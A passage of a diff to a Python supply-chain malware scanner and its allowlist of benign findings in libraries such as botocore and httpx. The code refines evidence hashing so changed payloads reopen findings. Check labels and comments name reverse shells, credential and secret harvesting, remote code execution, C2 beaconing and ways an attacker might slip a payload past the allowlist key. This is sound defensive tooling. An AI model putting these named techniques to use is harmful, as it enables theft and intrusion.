_cap_line(code: str) -> str: + """Bound a single line's displayed code: return it verbatim when short, else a + ``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still + pinned (fail-closed) without recording the entire line.""" + if len(code) <= _MAX_LINE_CHARS: + return code + digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest() + return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}" + + +_PY_TRIPLE = ("'''", '"""') + + +def _ends_with_odd_backslash(s: str) -> bool: + """True if ``s`` ends with an odd run of backslashes, i.e. a trailing + backslash that escapes the newline (a string/line continuation) rather than a + literal ``\\\\`` pair.""" + return (len(s) - len(s.rstrip("\\"))) % 2 == 1 + + +# Single-line quoted string literal; blanks complete one-line strings (the legacy +# view) so the single-line and multi-line blanked spans can be unioned below. +_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"") + + +def _blank_code_strings(lines: list[str]) -> list[str]: + """Replace string contents (single- and triple-quoted, escapes honoured) with + spaces across ``lines``, keeping the line count and every bracket OUTSIDE a + string intact. Bracket counting then never miscounts a ``)`` that lives inside + a string -- including a triple-quoted string spanning several lines, which a + per-line regex cannot blank.""" + out: list[str] = [] + in_triple: str | None = None # active ''' or \"\"\" delimiter, or None + in_string: str | None = None # active ' or " continued via a trailing backslash + for line in lines: + buf: list[str] = [] + i, n = 0, len(line) + while i < n: + if in_triple is not None: + end = line.find(in_triple, i) + if end == -1: + buf.append(" " * (n - i)) + i = n + else: + buf.append(" " * (end - i + 3)) + i = end + 3 + in_triple = None + continue + if in_string is not None: + # A single-/double-quoted string continued onto this line by a + # backslash-escaped newline. Resume blanking until its closing quote; + # if this line also ends on an odd trailing backslash the string + # continues again, otherwise it closes (or is unterminated) here. A + # per-line regex blanker cannot see this, so a `)` on the + # continuation line would otherwise be counted as code and close the + # call early -- dropping the URL/body lines that follow. + j, closed = i, False + while j < n: + if line[j] == "\\": + j += 2 + continue + if line[j] == in_string: + j += 1 + closed = True + break + j += 1 + buf.append(" " * (min(j, n) - i)) + if closed: + in_string = None + i = j + else: + i = n + if not _ends_with_odd_backslash(line): + in_string = None # unterminated without continuation; stop + continue + ch = line[i] + if ch in "'\"": + if line[i : i + 3] in _PY_TRIPLE: + delim = line[i : i + 3] + end = line.find(delim, i + 3) + if end == -1: # opens a triple string that runs past this line + buf.append(" " * (n - i)) + in_triple = delim + i = n + else: + buf.append(" " * (end - i + 3)) + i = end + 3 + continue + j = i + 1 # single-line string; skip to its closing quote + closed = False + while j < n: + if line[j] == "\\": + j += 2 + continue + if line[j] == ch: + j += 1 + closed = True + break + j += 1 + buf.append(" " * (min(j, n) - i)) + if closed: + i = j + else: + # Ran off the line without closing: an odd trailing backslash + # escapes the newline and continues the string onto the next + # line, so remember the quote; otherwise it is just unterminated. + i = n + if _ends_with_odd_backslash(line): + in_string = ch + continue + buf.append(ch) + i += 1 + out.append("".join(buf)) + return out + + +_RE_BRACKETS = re.compile(r"[()\[\]{}]") +_OPENERS = frozenset("([{") + + +def _bracket_lr(line: str) -> tuple[int, int]: + """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` + where ``L`` is the count of closers with no opener earlier on the line (they + need an opener to the LEFT / a prior line) and ``R`` is the count of openers + with no closer later on the line (they need a closer to the RIGHT / a later + line). A plain net count (opens minus closes) collapses order and so masks a + trailing opener that follows leading closers on the same line, e.g. + ``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged + call; tracking the running minimum keeps that opener visible so the call's + argument lines still bind. Only bracket characters are walked (pulled out with + one C-level regex pass) so a long minified line stays cheap.""" + depth = 0 + low = 0 + for ch in _RE_BRACKETS.findall(line): + if ch in _OPENERS: + depth += 1 + else: + depth -= 1 + if depth < low: + low = depth + return -low, depth - low + + +def _scan_line_end(view: list[str], start: int) -> int: + """1-based line where the statement at ``start`` closes its brackets in + ``view`` (one blanked view of the file). A call that closes is followed to its + real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a + bracket that never closes within that hard limit (a stray/miscounted opener) is + bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file. + Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0) + so a closer that precedes the opener on the same line does not cancel it.""" + depth = 0 + hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1) + for j in range(start, hard + 1): + ln = view[j - 1] + left, right = _bracket_lr(ln) + depth = max(0, depth - left) + right + if ln.rstrip().endswith("\\"): + continue # explicit backslash continuation: the call (e.g. its `(` and + # URL/body) is on the next physical line, so do not close here + if depth <= 0: + return j + # Never closed within the hard limit: bind only the soft cap so a stray opener + # cannot bind a giant unrelated span. + return min(len(view), start + _MAX_CALL_LINES - 1) + + +def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int: + """1-based line where the statement opened at ``start`` closes, so a multi-line + call binds its argument lines (a changed URL/body on a continuation line + reopens, not just the API line). Returns the LARGER of the spans found in the + single-line-blanked view (legacy: a payload embedded inside a string still + counts, so its brackets bind the call) and the multi-line-blanked view (a + bracket inside a triple-quoted string argument no longer closes the call + early). Taking the union never shrinks the bound span below either view, so + neither blanking strategy can drop a continuation line a malicious change + relies on.""" + return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start)) + + def _extract_evidence( content: str, pattern: re.Pattern, - max_matches: int = 3, + max_matches: int = 0, ) -> str: - """Pull matching lines as evidence snippets. + """Pull matching lines as evidence snippets (``max_matches=0`` means all). - Falls back to a whole-content search when the pattern only matches across - line boundaries (several IOC regexes use ``re.DOTALL``). Without this an - anti-analysis / archive-staging finding could report empty evidence, making - the baseline entry impossible to review. + Records every matching line in full, not a truncated sample, so an extra + match (or extra code on a long line) appended to an already-flagged file + changes the evidence and the baseline key instead of riding the first few. + Leading whitespace is kept so a flagged line moved out of a guarded block + reads as changed. Each single-line match is extended over bracket + continuations so a multi-line call binds its argument lines too. Cross-line + matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line + construct appended under a check that already had a one-line match) are + recorded afterwards, so an added multiline payload reopens the finding. A + pathological greedy span is bounded to its head line plus a digest of the + rest. """ lines = content.splitlines() - matches = [] + sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines] + ml_blanked = _blank_code_strings(lines) + out = [] + seen: set[tuple[int, int]] = set() + # Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS + # rendered spans, every further span is folded straight into a running digest + # instead of being materialized and sliced off at the end. On a minified or + # padded file with hundreds of thousands of matching lines that keeps memory + # and work bounded to the display cap rather than the match count, while the + # digest still covers every overflow span so an over-cap payload change + # reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly + # (strip each span to its non-empty L-less code lines, join with "\n"), so + # the digest is identical to buffering the whole list and canonicalizing once. + overflow_count = 0 + overflow_hash = hashlib.sha256() + overflow_started = False + + def _emit(rendered: str) -> None: + nonlocal overflow_count, overflow_started + if len(out) < _MAX_EVIDENCE_SPANS: + out.append(rendered) + return + overflow_count += 1 + for piece in _RE_EVIDENCE_SPLIT.split(rendered): + piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip() + if not piece: + continue + if overflow_started: + overflow_hash.update(b"\n") + overflow_hash.update(piece.encode("utf-8", "replace")) + overflow_started = True + + def _render(start: int, end: int) -> str: + span = lines[start - 1 : end] or [""] + if len(span) > _MAX_MULTILINE_LINES: + # Digest the code without the L: markers so a pure line shift of + # the same span stays stable while a code change still reopens. The + # head is truncated for display only; the span digest already binds + # its full content, so no per-line digest is needed here. + code = "\n".join(ln.rstrip() for ln in span) + digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest() + head = span[0].rstrip() + if len(head) > _MAX_LINE_CHARS: + head = head[:_MAX_LINE_CHARS] + "..." + return f"L{start}: {head} sha256:{digest}" + return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span)) + for i, line in enumerate(lines, 1): if pattern.search(line): - snippet = line.strip() - if len(snippet) > 160: - snippet = snippet[:160] + "..." - matches.append(f"L{i}: {snippet}") - if len(matches) >= max_matches: - break - if matches: - return " | ".join(matches) - # Multiline (DOTALL) match: report the line where the match begins. - m = pattern.search(content) - if m: - line_no = content.count("\n", 0, m.start()) + 1 - snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else "" - if len(snippet) > 160: - snippet = snippet[:160] + "..." - return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: " - return "" + span = (i, _logical_line_end(sl_blanked, ml_blanked, i)) + if span in seen: + continue + # Only track spans while still filling the display list: past the cap + # every span is folded into the overflow digest, so growing `seen` with + # all of them would keep memory proportional to the match count (the + # behavior this cap exists to bound) on a generated file with millions + # of one-line matches. The per-line spans are unique by line number, so + # dropping them from `seen` past the cap cannot cause a missed dedup + # here; at worst the fallback re-folds an over-cap span into the same + # digest, which stays deterministic and still reopens on a change. + if len(out) < _MAX_EVIDENCE_SPANS: + seen.add(span) + _emit(_render(*span)) + if max_matches and len(out) >= max_matches: + return " | ".join(out) + + # Precompute newline offsets once so mapping a match offset to its 1-based line + # is O(log n) (bisect) rather than O(n) (content.count) per match; the latter + # made this fallback quadratic on a minified file with thousands of matches. + nl = [p for p, ch in enumerate(content) if ch == "\n"] + for m in pattern.finditer(content): + start = bisect.bisect_left(nl, m.start()) + 1 + end = bisect.bisect_left(nl, m.end()) + 1 + if end <= start or (start, end) in seen: + continue # single-line matches are already covered by the pass above + # A giant greedy DOTALL span is bound by the full digest of its content + # (via _render, which renders a >12-line span as a head line plus a sha256 + # of the whole span). Binding only the anchors leaves the bridged interior + # unhashed, so an attacker could insert a new cross-line payload (a `/tmp` + # line and a later `subprocess` line, sharing no single line so the + # per-line pass never binds them) between unchanged outer anchors and keep + # the same key. Digesting the interior reopens on any such change; a pure + # line shift stays stable because the digest is over the markerless code. + if len(out) < _MAX_EVIDENCE_SPANS: + seen.add((start, end)) + _emit(_render(start, end)) + if max_matches and len(out) >= max_matches: + break + if overflow_count: + # The overflow digest was accumulated from the canonicalized (L:-less) + # spans as they were emitted, so a pure line shift above the overflow + # region does not change it and reopen an otherwise-unchanged finding, + # matching the per-span key's line-shift stability. + out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") + return " | ".join(out) + + +def _embedded_key_evidence(content: str) -> str: + """Key evidence that also pins the full PEM block(s) via a digest, so a key + body swapped under the same BEGIN marker reopens the finding (single-line and + DER keys are already bound by their full matched line).""" + ev = _extract_evidence(content, RE_EMBEDDED_KEYS) + blocks = RE_PEM_BLOCK.findall(content) + if blocks: + digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest() + ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}" + return ev + + +def _blob_digest(content: str) -> tuple[str, str]: + """First large blob (for display) plus a digest binding EVERY large blob, so + an appended or swapped encoded payload reopens the finding rather than riding + an unchanged first blob. Assumes at least one blob is present (single-blob + files keep the prior single-blob digest, so the baseline does not drift).""" + blobs = RE_LARGE_BLOB.findall(content) + digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest() + return blobs[0], digest # Non-Python checkers @@ -1189,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "JS embeds credential regexes AND makes network calls (stealer)", - _extract_evidence(content, RE_TOKEN_REGEX), + f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n" + f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) if has_workflow_inj: @@ -1202,18 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]: _extract_evidence(content, RE_WORKFLOW_INJECT), ) ) - if is_large and not findings: - findings.append( - Finding( - HIGH, - package, - filename, - # Size stays in evidence, not the check label, so the baseline key - # does not drift when a wheel's bundle grows by a few KB. - "Python wheel ships large JS bundle (uncommon; manually review)", - f"{len(content) // 1024} KB JS bundle", + # Pin the whole file's content digest to EVERY JS finding (not just large + # bundles). _extract_evidence blanks only Python string forms before counting + # brackets, so a JS backtick template literal that contains `)` can close a + # call's span early and omit the option/body lines that follow; binding the + # full content means a change to those omitted lines still reopens instead of + # riding the matched-line evidence. A large bundle with no other heuristic is a + # standalone HIGH. + if findings or is_large: + digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest() + if findings: + for f in findings: + f.evidence = f"{f.evidence} bundle-sha256:{digest}" + else: + findings.append( + Finding( + HIGH, + package, + filename, + # Size stays out of the check label (from main) so the baseline + # key does not drift when a benign bundle grows; the full-content + # digest below still binds the bytes so a payload swap reopens. + "Python wheel ships large JS bundle (uncommon; manually review)", + f"sha256: {digest}", + ) ) - ) return findings @@ -1233,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] if RE_DEV_TOOL_HIJACK.search(content) and ( RE_NETWORK.search(content) or RE_SUBPROCESS.search(content) ): + # Bind the hook AND the network/exec signal so a changed exfil reopens. + evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"] + if RE_NETWORK.search(content): + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if RE_SUBPROCESS.search(content): + evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}") findings.append( Finding( CRITICAL, @@ -1240,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] filename, "Shell installs developer-tool persistence hook (.bashrc / " "profile.d / vscode tasks) AND has network or exec", - _extract_evidence(content, RE_DEV_TOOL_HIJACK), + "\n".join(evidence), ) ) if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content): @@ -1250,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] package, filename, "Shell embeds credential regexes AND makes network calls", - _extract_evidence(content, RE_TOKEN_REGEX), + f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n" + f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) if RE_WORKFLOW_INJECT.search(content): @@ -2517,9 +2895,9 @@ def _find_requirements_files(root: str) -> list[str]: # Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can # enforce without drowning in legitimate-library noise. Matched on -# ``(package, basename(filename), check)`` -- not evidence text -- so a version -# bump does not reopen a finding, but a *new* kind of finding in a listed file -# is a different check and still fails. Regenerate with ``--write-baseline``. +# (package, package-relative file, check, evidence hash); the hash strips +# ``L:`` markers so version bumps and line shifts do not reopen an entry, +# but changed flagged code does. Regenerate with ``--write-baseline``. _DEFAULT_BASELINE_PATH = os.path.join( os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json" @@ -2546,16 +2924,54 @@ def _relpath_in_package(filename: str) -> str: return _RE_SDIST_ROOT.sub("", filename, count = 1) -def _finding_key(f: Finding) -> tuple[str, str, str]: - """Stable allowlist key: normalized package, package-relative path, check. +# Evidence joins matched spans with " | " and a newline between labelled groups, +# each span tagged "L: ". Split only on those real delimiters (a " | " before +# a marker, or a newline), never on a bare "|" -- matched code may contain a +# bitwise-or or union type. The prefix strips only a genuine leading marker, an +# optional "Label: " then "L: "; a marker-like "L:" inside raw code (e.g. +# a .pth import line) has no leading marker and is left intact. +_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n") +_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?") - The package-relative path (not just basename) keeps the key stable across - version bumps while still distinguishing same-named files like ``utils.py``. + +def _canon_evidence(evidence: str) -> str: + """Matched code lines in discovery order (markers removed), duplicates kept. + + Splits evidence on its real span delimiters, drops each span's leading + label / line-number marker, and keeps the code with its indentation. Line + shifts are absorbed by stripping the L: markers, not by sorting, so order + stays significant: reordering matched lines (executable context, e.g. the + arguments of a multi-line call) reopens the finding. Keeping duplicates means + an appended identical occurrence still changes the key.""" + spans = [] + for s in _RE_EVIDENCE_SPLIT.split(evidence or ""): + s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip() + if s: + spans.append(s) + return "\n".join(spans) + + +def _evidence_hash(evidence: str) -> str: + """Stable digest of the canonical matched evidence.""" + return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest() + + +def _finding_key(f: Finding) -> tuple[str, str, str, str]: + """Allowlist key: package, package-relative path, check, evidence hash. + + The evidence hash is over the set of matched code, so the key survives version + bumps, line shifts and reordering but reopens when the flagged code changes -- + so a future payload in a baselined file/check is not auto-suppressed. """ - return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check) + return ( + _norm_pkg(f.package), + _relpath_in_package(f.filename), + f.check, + _evidence_hash(f.evidence), + ) -def _load_baseline(path: str) -> set[tuple[str, str, str]]: +def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" try: with open(path, "r", encoding = "utf-8") as fh: @@ -2565,19 +2981,47 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]: except (OSError, json.JSONDecodeError) as exc: print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) return set() - keys: set[tuple[str, str, str]] = set() - for e in data.get("entries", []): + if not isinstance(data, dict): + print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) + return set() + entries = data.get("entries", []) + if not isinstance(entries, list): + print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) + return set() + keys: set[tuple[str, str, str, str]] = set() + legacy = 0 + for e in entries: + if not isinstance(e, dict): + continue try: - keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"])) + # Use the reviewed hash; else recompute it from the stored evidence. + evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + if not e.get("evidence_hash"): + legacy += 1 + keys.add( + ( + _norm_pkg(e["package"]), + _relpath_in_package(e["file"]), + e["check"], + evidence_hash, + ) + ) except (KeyError, TypeError): continue + if legacy: + print( + f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " + f"not suppress until regenerated with --write-baseline (findings reopen " + f"rather than risk hiding changed code under a coarse key)", + file = sys.stderr, + ) return keys def _write_baseline(path: str, findings: list[Finding]) -> None: """Persist CRITICAL/HIGH findings as an allowlist for human triage.""" entries = [] - seen: set[tuple[str, str, str]] = set() + seen: set[tuple[str, str, str, str]] = set() for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)): if f.severity not in (CRITICAL, HIGH): continue @@ -2591,15 +3035,18 @@ def _write_baseline(path: str, findings: list[Finding]) -> None: "file": _relpath_in_package(f.filename), "check": f.check, "severity": f.severity, - "evidence": f.evidence[:240], + "evidence": f.evidence, + "evidence_hash": _evidence_hash(f.evidence), } ) doc = { "_comment": ( "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding " "manually judged benign. Matched on (package, package-relative file, " - "check); evidence/severity are for review only. Regenerate with " - "--write-baseline AFTER reviewing every line." + "check, evidence_hash); evidence_hash is over the matched code with " + "L: markers stripped, so version bumps and line shifts do not " + "reopen an entry but changed code does. severity and evidence are for " + "review only. Regenerate with --write-baseline AFTER reviewing every line." ), "version": 1, "entries": entries, @@ -2611,7 +3058,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None: def _partition_baseline( - findings: list[Finding], baseline: set[tuple[str, str, str]] + findings: list[Finding], baseline: set[tuple[str, str, str, str]] ) -> tuple[list[Finding], list[Finding]]: """Split findings into (active, suppressed) by allowlist membership.""" if not baseline: diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json index 0c10ae3222..046566d148 100644 --- a/scripts/scan_packages_baseline.json +++ b/scripts/scan_packages_baseline.json @@ -1,5 +1,5 @@ { - "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line.", + "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.", "version": 1, "entries": [ { @@ -7,1302 +7,1488 @@ "file": "botocore/credentials.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):" + "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):", + "evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6" }, { "package": "botocore", "file": "botocore/httpsession.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(" + "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(\nL478: method=request.method,\nL479: url=request_target,\nL480: body=request.body,\nL481: headers=request.headers,\nL482: retries=Retry(False),\nL483: assert_same_host=False,\nL484: preload_content=False,\nL485: decode_content=False,\nL486: chunked=self._chunked(request.headers),\nL487: )", + "evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2'\nNetwork: L32: from urllib.request import getpro" + "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2' | L3075: '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass" + "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Reads credential paths AND makes network calls", "severity": "CRITICAL", - "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass" + "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1" }, { "package": "click", "file": "click/testing.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L91: os.dup2(self._tmpfile.fileno(), self._targetfd) | L95: os.dup2(self.saved_fd, self._targetfd)" + "evidence": "L103: os.dup2(self._tmpfile.fileno(), self._targetfd) | L107: os.dup2(self.saved_fd, self._targetfd)", + "evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1" }, { "package": "datasets", "file": "datasets/utils/file_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L441: while True:" + "evidence": "L443: while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea", + "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c" + }, + { + "package": "datasets", + "file": "datasets/utils/file_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L441: while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da", + "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d" }, { "package": "diffusers", "file": "diffusers/utils/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)" + "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "diffusers", "file": "diffusers/utils/testing_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, st" + "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)", + "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9" }, { "package": "dill", "file": "dill/_objects.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()" - }, - { - "package": "execnet", - "file": "execnet/gateway_base.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L1783: os.dup2(fd, 0) | L1789: os.dup2(fd, 1) | L1794: os.dup2(fd, 2)" - }, - { - "package": "fastapi", - "file": "fastapi/routing.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L579: while True:" + "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()", + "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850" }, { "package": "fastmcp-slim", "file": "fastmcp/cli/apps_dev.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as clie" + "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client: | L1537: client = httpx.AsyncClient(\nL1538: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539: ) | L1701: async with httpx.AsyncClient(trust_env=False) as client: | L1769: with socket.socket(family, socket.SOCK_STREAM) as s:", + "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c" }, { "package": "fastmcp-slim", "file": "fastmcp/cli/apps_dev.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L624: history.replaceState(null, \"\", url);\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client:" + "evidence": "FS: L624: history.replaceState(null, \"\", url); sha256:fd8dbfa8af4dea2ce43f4d441f3f81239de341b76a2eb0a33c446f6757ce5f43\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client: | L1537: client = httpx.AsyncClient(\nL1538: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539: ) | L1701: async with httpx.AsyncClient(trust_env=False) as client: | L1769: with socket.socket(family, socket.SOCK_STREAM) as s:", + "evidence_hash": "6ada4a9111213bdee5ea24c70a72ec4acdc8ffe0de4a01fd9835bc261ccab8f8" }, { "package": "fonttools", "file": "fontTools/diff/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())" + "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())", + "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" }, { "package": "fonttools", "file": "fontTools/ttLib/ttFont.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)" + "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)", + "evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01" }, { "package": "httpx", "file": "httpx/_models.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L528: history: list[Response] | None = None,\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):" + "evidence": "FS: L528: history: list[Response] | None = None, 